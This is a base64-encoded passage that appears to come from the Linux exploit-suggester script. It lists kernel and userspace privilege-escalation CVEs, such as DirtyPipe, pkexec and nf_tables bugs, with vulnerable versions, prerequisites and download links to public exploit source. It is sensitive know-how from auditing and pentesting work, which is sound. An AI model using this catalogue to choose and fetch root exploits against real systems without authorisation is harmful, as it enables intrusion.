naW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xNTY2Nl0ke3R4dHJzdH0gWEZSTV9VQUYKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMsdmVyPDUuMC4xOSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MSxDT05GSUdfWEZSTT15ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2R1YXN5bnQuY29tL2Jsb2cvdWJ1bnR1LWNlbnRvcy1yZWRoYXQtcHJpdmVzYwpiaW4tdXJsOiBodHRwczovL2dpdGh1Yi5jb20vZHVhc3ludC94ZnJtX3BvYy9yYXcvbWFzdGVyL2x1Y2t5MApDb21tZW50czogQ09ORklHX1VTRVJfTlMgbmVlZHMgdG8gYmUgZW5hYmxlZDsgQ09ORklHX1hGUk0gbmVlZHMgdG8gYmUgZW5hYmxlZAphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMjczNjVdJHt0eHRyc3R9IGxpbnV4LWlzY3NpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPD01LjExLjMsQ09ORklHX1NMQUJfRlJFRUxJU1RfSEFSREVORUQhPXkKVGFnczogUkhFTD04ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cuZ3JpbW0tY28uY29tLzIwMjEvMDMvbmV3LW9sZC1idWdzLWluLWxpbnV4LWtlcm5lbC5odG1sCnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS9ncmltbS1jby9Ob3RRdWl0ZTBEYXlGcmlkYXkvemlwL3RydW5rCkNvbW1lbnRzOiBDT05GSUdfU0xBQl9GUkVFTElTVF9IQVJERU5FRCBtdXN0IG5vdCBiZSBlbmFibGVkCmF1dGhvcjogR1JJTU0KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0zNDkwXSR7dHh0cnN0fSBlQlBGIEFMVTMyIGJvdW5kcyB0cmFja2luZyBmb3IgYml0d2lzZSBvcHMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTUuNyx2ZXI8NS4xMixDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogdWJ1bnR1PTIwLjA0e2tlcm5lbDo1LjguMC0oMjV8MjZ8Mjd8Mjh8Mjl8MzB8MzF8MzJ8MzN8MzR8MzV8MzZ8Mzd8Mzh8Mzl8NDB8NDF8NDJ8NDN8NDR8NDV8NDZ8NDd8NDh8NDl8NTB8NTF8NTIpLSp9LHVidW50dT0yMS4wNHtrZXJuZWw6NS4xMS4wLTE2LSp9ClJhbms6IDUKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5ncmFwbHNlY3VyaXR5LmNvbS9wb3N0L2tlcm5lbC1wd25pbmctd2l0aC1lYnBmLWEtbG92ZS1zdG9yeQpzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vY2hvbXBpZTEzMzcvTGludXhfTFBFX2VCUEZfQ1ZFLTIwMjEtMzQ5MC96aXAvbWFpbgpDb21tZW50czogQ09ORklHX0JQRl9TWVNDQUxMIG5lZWRzIHRvIGJlIHNldCAmJiBrZXJuZWwudW5wcml2aWxlZ2VkX2JwZl9kaXNhYmxlZCAhPSAxCmF1dGhvcjogY2hvbXBpZTEzMzcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0yMjU1NV0ke3R4dHJzdH0gTmV0ZmlsdGVyIGhlYXAgb3V0LW9mLWJvdW5kcyB3cml0ZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE5LHZlcjw9NS4xMi1yYzYKVGFnczogdWJ1bnR1PTIwLjA0e2tlcm5lbDo1LjguMC0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9nb29nbGUuZ2l0aHViLmlvL3NlY3VyaXR5LXJlc2VhcmNoL3BvY3MvbGludXgvY3ZlLTIwMjEtMjI1NTUvd3JpdGV1cC5odG1sCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9nb29nbGUvc2VjdXJpdHktcmVzZWFyY2gvbWFzdGVyL3BvY3MvbGludXgvY3ZlLTIwMjEtMjI1NTUvZXhwbG9pdC5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAyMS0yMjU1NS9leHBsb2l0LmMKQ29tbWVudHM6IGlwX3RhYmxlcyBrZXJuZWwgbW9kdWxlIG11c3QgYmUgbG9hZGVkCmV4cGxvaXQtZGI6IDUwMTM1CmF1dGhvcjogdGhlZmxvdyAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMi0wODQ3XSR7dHh0cnN0fSBEaXJ0eVBpcGUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTUuOCx2ZXI8PTUuMTYuMTEKVGFnczogdWJ1bnR1PSgyMC4wNHwyMS4wNCksZGViaWFuPTExClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2RpcnR5cGlwZS5jbTRhbGwuY29tLwpzcmMtdXJsOiBodHRwczovL2hheHguaW4vZmlsZXMvZGlydHlwaXBlei5jCmV4cGxvaXQtZGI6IDUwODA4CmF1dGhvcjogYmxhc3R5IChvcmlnaW5hbCBleHBsb2l0IGF1dGhvcjogTWF4IEtlbGxlcm1hbm4pCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjItMjU4Nl0ke3R4dHJzdH0gbmZ0X29iamVjdCBVQUYKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMTYsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczogdWJ1bnR1PSgyMC4wNCl7a2VybmVsOjUuMTIuMTN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMjIvMDgvMjkvNQpzcmMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMjIvMDgvMjkvNS8xCkNvbW1lbnRzOiBrZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT0xIHJlcXVpcmVkICh0byBvYnRhaW4gQ0FQX05FVF9BRE1JTikKYXV0aG9yOiB2dWxuZXJhYmlsaXR5IGRpc2NvdmVyeTogVGVhbSBPcmNhIG9mIFNlYSBTZWN1cml0eTsgRXhwbG9pdCBhdXRob3I6IEFsZWphbmRybyBHdWVycmVybwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIyLTMyMjUwXSR7dHh0cnN0fSBuZnRfb2JqZWN0IFVBRiAoTkZUX01TR19ORVdTRVQpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPDUuMTguMSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOiB1YnVudHU9KDIyLjA0KXtrZXJuZWw6NS4xNS4wLTI3LWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3Jlc2VhcmNoLm5jY2dyb3VwLmNvbS8yMDIyLzA5LzAxL3NldHRsZXJzLW9mLW5ldGxpbmstZXhwbG9pdGluZy1hLWxpbWl0ZWQtdWFmLWluLW5mX3RhYmxlcy1jdmUtMjAyMi0zMjI1MC8KYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cudGhlb3JpLmlvL3Jlc2VhcmNoL0NWRS0yMDIyLTMyMjUwLWxpbnV4LWtlcm5lbC1scGUtMjAyMi8Kc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3RoZW9yaS1pby9DVkUtMjAyMi0zMjI1MC1leHBsb2l0L21haW4vZXhwLmMKQ29tbWVudHM6IGtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPTEgcmVxdWlyZWQgKHRvIG9idGFpbiBDQVBfTkVUX0FETUlOKQphdXRob3I6IHZ1bG5lcmFiaWxpdHkgZGlzY292ZXJ5OiBFREcgVGVhbSBmcm9tIE5DQyBHcm91cDsgQXV0aG9yIG9mIHRoaXMgZXhwbG9pdDogdGhlb3JpLmlvCkVPRgopCgoKIyMjIyMjIyMjIyMjIFVTRVJTUEFDRSBFWFBMT0lUUyAjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKbj0wCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA0LTAxODZdJHt0eHRyc3R9IHNhbWJhClJlcXM6IHBrZz1zYW1iYSx2ZXI8PTIuMi44ClRhZ3M6IApSYW5rOiAxCmV4cGxvaXQtZGI6IDIzNjc0CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDA5LTExODVdJHt0eHRyc3R9IHVkZXYKUmVxczogcGtnPXVkZXYsdmVyPDE0MSxjbWQ6W1sgLWYgL2V0Yy91ZGV2L3J1bGVzLmQvOTUtdWRldi1sYXRlLnJ1bGVzIHx8IC1mIC9saWIvdWRldi9ydWxlcy5kLzk1LXVkZXYtbGF0ZS5ydWxlcyBdXQpUYWdzOiB1YnVudHU9OC4xMHw5LjA0ClJhbms6IDEKZXhwbG9pdC1kYjogODU3MgpDb21tZW50czogVmVyc2lvbjwxLjQuMSB2dWxuZXJhYmxlIGJ1dCBkaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkIApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0xMTg1XSR7dHh0cnN0fSB1ZGV2IDIKUmVxczogcGtnPXVkZXYsdmVyPDE0MQpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDg0NzgKQ29tbWVudHM6IFNTSCBhY2Nlc3MgdG8gbm9uIHByaXZpbGVnZWQgdXNlciBpcyBuZWVkZWQuIFZlcnNpb248MS40LjEgdnVsbmVyYWJsZSBidXQgZGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0wODMyXSR7dHh0cnN0fSBQQU0gTU9URApSZXFzOiBwa2c9bGlicGFtLW1vZHVsZXMsdmVyPD0xLjEuMQpUYWdzOiB1YnVudHU9OS4xMHwxMC4wNApSYW5rOiAxCmV4cGxvaXQtZGI6IDE0MzM5CkNvbW1lbnRzOiBTU0ggYWNjZXNzIHRvIG5vbiBwcml2aWxlZ2VkIHVzZXIgaXMgbmVlZGVkCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTQxNzBdJHt0eHRyc3R9IFN5c3RlbVRhcApSZXFzOiBwa2c9c3lzdGVtdGFwLHZlcjw9MS4zClRhZ3M6IFJIRUw9NXtzeXN0ZW10YXA6MS4xLTMuZWw1fSxmZWRvcmE9MTN7c3lzdGVtdGFwOjEuMi0xLmZjMTN9ClJhbms6IDEKYXV0aG9yOiBUYXZpcyBPcm1hbmR5CmV4cGxvaXQtZGI6IDE1NjIwCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDExLTE0ODVdJHt0eHRyc3R9IHBrZXhlYwpSZXFzOiBwa2c9cG9sa2l0LHZlcj0wLjk2ClRhZ3M6IFJIRUw9Nix1YnVudHU9MTAuMDR8MTAuMTAKUmFuazogMQpleHBsb2l0LWRiOiAxNzk0MgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMS0yOTIxXSR7dHh0cnN0fSBrdHN1c3MKUmVxczogcGtnPWt0c3Vzcyx2ZXI8PTEuNApUYWdzOiBzcGFya3k9NXw2ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTEvMDgvMTMvMgpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxMS0yOTIxL2t0c3Vzcy1scGUuc2gKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTItMDgwOV0ke3R4dHJzdH0gZGVhdGhfc3RhciAoc3VkbykKUmVxczogcGtnPXN1ZG8sdmVyPj0xLjguMCx2ZXI8PTEuOC4zClRhZ3M6IGZlZG9yYT0xNiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvZnVsbGRpc2Nsb3N1cmUvMjAxMi9KYW4vYXR0LTU5MC9hZHZpc29yeV9zdWRvLnR4dApleHBsb2l0LWRiOiAxODQzNgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC0wNDc2XSR7dHh0cnN0fSBjaGtyb290a2l0ClJlcXM6IHBrZz1jaGtyb290a2l0LHZlcjwwLjUwClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTQvcTIvNDMwCmV4cGxvaXQtZGI6IDMzODk5CkNvbW1lbnRzOiBSb290aW5nIGRlcGVuZHMgb24gdGhlIGNyb250YWIgKHVwIHRvIG9uZSBkYXkgb2YgZGVsYXkpCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTUxMTldJHt0eHRyc3R9IF9fZ2NvbnZfdHJhbnNsaXRfZmluZApSZXFzOiBwa2c9Z2xpYmN8bGliYzYseDg2ClRhZ3M6IGRlYmlhbj02ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vZ29vZ2xlcHJvamVjdHplcm8uYmxvZ3Nwb3QuY29tLzIwMTQvMDgvdGhlLXBvaXNvbmVkLW51bC1ieXRlLTIwMTQtZWRpdGlvbi5odG1sCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzM0NDIxLnRhci5negpleHBsb2l0LWRiOiAzNDQyMQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xODYyXSR7dHh0cnN0fSBuZXdwaWQgKGFicnQpClJlcXM6IHBrZz1hYnJ0LGNtZDpncmVwIC1xaSBhYnJ0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IGZlZG9yYT0yMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL29wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wNC8xNC80CnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vdGF2aXNvLzBmMDJjMjU1YzEzYzVjMTEzNDA2L3Jhdy9lYWZhYzc4ZGNlNTEzMjliMDNiZWE3MTY3ZjEyNzE3MThiZWU0ZGNjL25ld3BpZC5jCmV4cGxvaXQtZGI6IDM2NzQ2CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMzMTVdJHt0eHRyc3R9IHJhY2VhYnJ0ClJlcXM6IHBrZz1hYnJ0LGNtZDpncmVwIC1xaSBhYnJ0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IGZlZG9yYT0xOXthYnJ0OjIuMS41LTEuZmMxOX0sZmVkb3JhPTIwe2FicnQ6Mi4yLjItMi5mYzIwfSxmZWRvcmE9MjF7YWJydDoyLjMuMC0zLmZjMjF9LFJIRUw9N3thYnJ0OjIuMS4xMS0xMi5lbDd9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNS9xMi8xMzAKc3JjLXVybDogaHR0cHM6Ly9naXN0LmdpdGh1YnVzZXJjb250ZW50LmNvbS90YXZpc28vZmUzNTkwMDY4MzZkNmNkMTA5MWUvcmF3LzMyZmU4NDgxYzQzNGY4Y2FkNWJjZjg1Mjk3ODkyMzE2MjdlNTA3NGMvcmFjZWFicnQuYwpleHBsb2l0LWRiOiAzNjc0NwphdXRob3I6IFRhdmlzIE9ybWFuZHkKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTMxOF0ke3R4dHJzdH0gbmV3cGlkIChhcHBvcnQpClJlcXM6IHBrZz1hcHBvcnQsdmVyPj0yLjEzLHZlcjw9Mi4xNyxjbWQ6Z3JlcCAtcWkgYXBwb3J0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IHVidW50dT0xNC4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL29wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wNC8xNC80CnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vdGF2aXNvLzBmMDJjMjU1YzEzYzVjMTEzNDA2L3Jhdy9lYWZhYzc4ZGNlNTEzMjliMDNiZWE3MTY3ZjEyNzE3MThiZWU0ZGNjL25ld3BpZC5jCmV4cGxvaXQtZGI6IDM2NzQ2CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTEzMThdJHt0eHRyc3R9IG5ld3BpZCAoYXBwb3J0KSAyClJlcXM6IHBrZz1hcHBvcnQsdmVyPj0yLjEzLHZlcjw9Mi4xNyxjbWQ6Z3JlcCAtcWkgYXBwb3J0IC9wcm9jL3N5cy9rZXJuZWwvY29yZV9wYXR0ZXJuClRhZ3M6IHVidW50dT0xNC4wNC4yClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vb3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE1LzA0LzE0LzQKZXhwbG9pdC1kYjogMzY3ODIKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMzIwMl0ke3R4dHJzdH0gZnVzZSAoZnVzZXJtb3VudCkKUmVxczogcGtnPWZ1c2UsdmVyPDIuOS4zClRhZ3M6IGRlYmlhbj03LjB8OC4wLHVidW50dT0qClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNS9xMi81MjAKZXhwbG9pdC1kYjogMzcwODkKQ29tbWVudHM6IE5lZWRzIGNyb24gb3Igc3lzdGVtIGFkbWluIGludGVyYWN0aW9uCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTE4MTVdJHt0eHRyc3R9IHNldHJvdWJsZXNob290ClJlcXM6IHBrZz1zZXRyb3VibGVzaG9vdCx2ZXI8My4yLjIyClRhZ3M6IGZlZG9yYT0yMQpSYW5rOiAxCmV4cGxvaXQtZGI6IDM2NTY0CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyNDZdJHt0eHRyc3R9IHVzZXJoZWxwZXIKUmVxczogcGtnPWxpYnVzZXIsdmVyPD0wLjYwClRhZ3M6IFJIRUw9NntsaWJ1c2VyOjAuNTYuMTMtKDR8NSkuZWw2fSxSSEVMPTZ7bGlidXNlcjowLjYwLTUuZWw3fSxmZWRvcmE9MTN8MTl8MjB8MjF8MjIKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNS8wNy8yMy9jdmUtMjAxNS0zMjQ1LWN2ZS0yMDE1LTMyNDYvY3ZlLTIwMTUtMzI0NS1jdmUtMjAxNS0zMjQ2LnR4dCAKZXhwbG9pdC1kYjogMzc3MDYKQ29tbWVudHM6IFJIRUwgNSBpcyBhbHNvIHZ1bG5lcmFibGUsIGJ1dCBpbnN0YWxsZWQgdmVyc2lvbiBvZiBnbGliYyAoMi41KSBsYWNrcyBmdW5jdGlvbnMgbmVlZGVkIGJ5IHJvb3RoZWxwZXIuYwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS01Mjg3XSR7dHh0cnN0fSBhYnJ0L3Nvc3JlcG9ydC1yaGVsNwpSZXFzOiBwa2c9YWJydCxjbWQ6Z3JlcCAtcWkgYWJydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiBSSEVMPTd7YWJydDoyLjEuMTEtMTIuZWw3fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE1LzEyLzAxLzEKc3JjLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE1LzEyLzAxLzEvMQpleHBsb2l0LWRiOiAzODgzMgphdXRob3I6IHJlYmVsCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTY1NjVdJHt0eHRyc3R9IG5vdF9hbl9zc2hudWtlClJlcXM6IHBrZz1vcGVuc3NoLXNlcnZlcix2ZXI+PTYuOCx2ZXI8PTYuOQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDEvMjYvMgpleHBsb2l0LWRiOiA0MTE3MwphdXRob3I6IEZlZGVyaWNvIEJlbnRvCkNvbW1lbnRzOiBOZWVkcyBhZG1pbiBpbnRlcmFjdGlvbiAocm9vdCB1c2VyIG5lZWRzIHRvIGxvZ2luIHZpYSBzc2ggdG8gdHJpZ2dlciBleHBsb2l0YXRpb24pCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTg2MTJdJHt0eHRyc3R9IGJsdWVtYW4gc2V0X2RoY3BfaGFuZGxlciBkLWJ1cyBwcml2ZXNjClJlcXM6IHBrZz1ibHVlbWFuLHZlcjwyLjAuMwpUYWdzOiBkZWJpYW49OHtibHVlbWFuOjEuMjN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3R3aXR0ZXIuY29tL3RoZWdydWdxL3N0YXR1cy82Nzc4MDk1Mjc4ODI4MTM0NDAKZXhwbG9pdC1kYjogNDYxODYKYXV0aG9yOiBTZWJhc3RpYW4gS3JhaG1lcgpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMTI0MF0ke3R4dHJzdH0gdG9tY2F0LXJvb3Rwcml2ZXNjLWRlYi5zaApSZXFzOiBwa2c9dG9tY2F0ClRhZ3M6IGRlYmlhbj04LHVidW50dT0xNi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvVG9tY2F0LURlYlBrZ3MtUm9vdC1Qcml2aWxlZ2UtRXNjYWxhdGlvbi1FeHBsb2l0LUNWRS0yMDE2LTEyNDAuaHRtbApzcmMtdXJsOiBodHRwOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy90b21jYXQtcm9vdHByaXZlc2MtZGViLnNoCmV4cGxvaXQtZGI6IDQwNDUwCmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFmZmVjdHMgb25seSBEZWJpYW4tYmFzZWQgZGlzdHJvcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0xMjQ3XSR7dHh0cnN0fSBuZ2lueGVkLXJvb3Quc2gKUmVxczogcGtnPW5naW54fG5naW54LWZ1bGwsdmVyPDEuMTAuMwpUYWdzOiBkZWJpYW49OCx1YnVudHU9MTQuMDR8MTYuMDR8MTYuMTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL05naW54LUV4cGxvaXQtRGViLVJvb3QtUHJpdkVzYy1DVkUtMjAxNi0xMjQ3Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2V4cGxvaXRzL0NWRS0yMDE2LTEyNDcvbmdpbnhlZC1yb290LnNoCmV4cGxvaXQtZGI6IDQwNzY4CmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IFJvb3RpbmcgZGVwZW5kcyBvbiBjcm9uLmRhaWx5ICh1cCB0byAyNGggb2YgZGVsYXkpLiBBZmZlY3RlZDogZGViODogPDEuNi4yOyAxNC4wNDogPDEuNC42OyAxNi4wNDogMS4xMC4wOyBnZW50b286IDwxLjEwLjItcjMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMTUzMV0ke3R4dHJzdH0gcGVybF9zdGFydHVwIChleGltKQpSZXFzOiBwa2c9ZXhpbSx2ZXI8NC44Ni4yClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5leGltLm9yZy9zdGF0aWMvZG9jL0NWRS0yMDE2LTE1MzEudHh0CmV4cGxvaXQtZGI6IDM5NTQ5CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTE1MzFdJHt0eHRyc3R9IHBlcmxfc3RhcnR1cCAoZXhpbSkgMgpSZXFzOiBwa2c9ZXhpbSx2ZXI8NC44Ni4yClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3